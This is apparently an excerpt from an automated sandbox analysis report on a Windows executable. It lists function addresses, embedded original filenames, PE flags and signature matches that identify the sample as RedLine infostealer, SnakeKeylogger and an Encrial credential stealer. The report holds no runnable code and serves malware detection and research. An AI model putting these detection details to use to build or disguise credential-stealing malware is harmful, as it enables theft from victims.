Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06426BA9	0_2_06426BA9
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0642D9AD	0_2_0642D9AD
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064252B0	0_2_064252B0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0642D9B0	0_2_0642D9B0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064296B0	0_2_064296B0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064224B1	0_2_064224B1
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06423BB8	0_2_06423BB8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0642C1B8	0_2_0642C1B8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06468E08	0_2_06468E08
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06462688	0_2_06462688
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06460040	0_2_06460040
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646C648	0_2_0646C648
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06469448	0_2_06469448
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646F850	0_2_0646F850
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646B068	0_2_0646B068
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646E268	0_2_0646E268
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06463A70	0_2_06463A70
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06462678	0_2_06462678
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646F208	0_2_0646F208
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646C008	0_2_0646C008
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06461820	0_2_06461820
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646AA28	0_2_0646AA28
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646DC28	0_2_0646DC28
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06461830	0_2_06461830
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06469438	0_2_06469438
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646A0C8	0_2_0646A0C8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646D2C8	0_2_0646D2C8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064658D0	0_2_064658D0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646BCE8	0_2_0646BCE8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646EEE8	0_2_0646EEE8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06461CE9	0_2_06461CE9
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064604F8	0_2_064604F8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06461CF8	0_2_06461CF8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06463CF9	0_2_06463CF9
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06460E88	0_2_06460E88
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646CC88	0_2_0646CC88
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06469A88	0_2_06469A88
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06460E98	0_2_06460E98
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646B6A8	0_2_0646B6A8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646E8A8	0_2_0646E8A8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646DF48	0_2_0646DF48
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646AD48	0_2_0646AD48
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06461359	0_2_06461359
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646C968	0_2_0646C968
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06469768	0_2_06469768
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06461368	0_2_06461368
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646FB70	0_2_0646FB70
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646D908	0_2_0646D908
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06460508	0_2_06460508
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646A708	0_2_0646A708
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646C328	0_2_0646C328
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06469128	0_2_06469128
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646F528	0_2_0646F528
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646DF38	0_2_0646DF38
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064621C0	0_2_064621C0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064609C0	0_2_064609C0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646B9C8	0_2_0646B9C8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646EBC8	0_2_0646EBC8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064609D0	0_2_064609D0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646A3E8	0_2_0646A3E8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646D5E8	0_2_0646D5E8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646F1F8	0_2_0646F1F8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06463F80	0_2_06463F80
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646E588	0_2_0646E588
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646B388	0_2_0646B388
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646CFA1	0_2_0646CFA1
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0646CFA8	0_2_0646CFA8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06469DA8	0_2_06469DA8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064621B1	0_2_064621B1
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A2270	0_2_064A2270
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A0DC0	0_2_064A0DC0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A4800	0_2_064A4800
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A2958	0_2_064A2958
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A3728	0_2_064A3728
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A14A8	0_2_064A14A8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A3040	0_2_064A3040
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A1B88	0_2_064A1B88
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A225F	0_2_064A225F
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A0040	0_2_064A0040
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A0DB2	0_2_064A0DB2
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A2947	0_2_064A2947
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A3717	0_2_064A3717
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A149A	0_2_064A149A
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A302F	0_2_064A302F
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064A1B78	0_2_064A1B78
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06F834F4	0_2_06F834F4
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06F8B609	0_2_06F8B609
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06F84AB0	0_2_06F84AB0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06F868B1	0_2_06F868B1
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06F831D8	0_2_06F831D8

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Code function: String function: 0040E1D8 appears 43 times

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003800000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1648880969.000000000072E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649139203.0000000000749000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649027596.0000000000747000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4103874825.0000000000197000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Binary or memory string: OriginalFilenameAubriella.exe4 vs 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
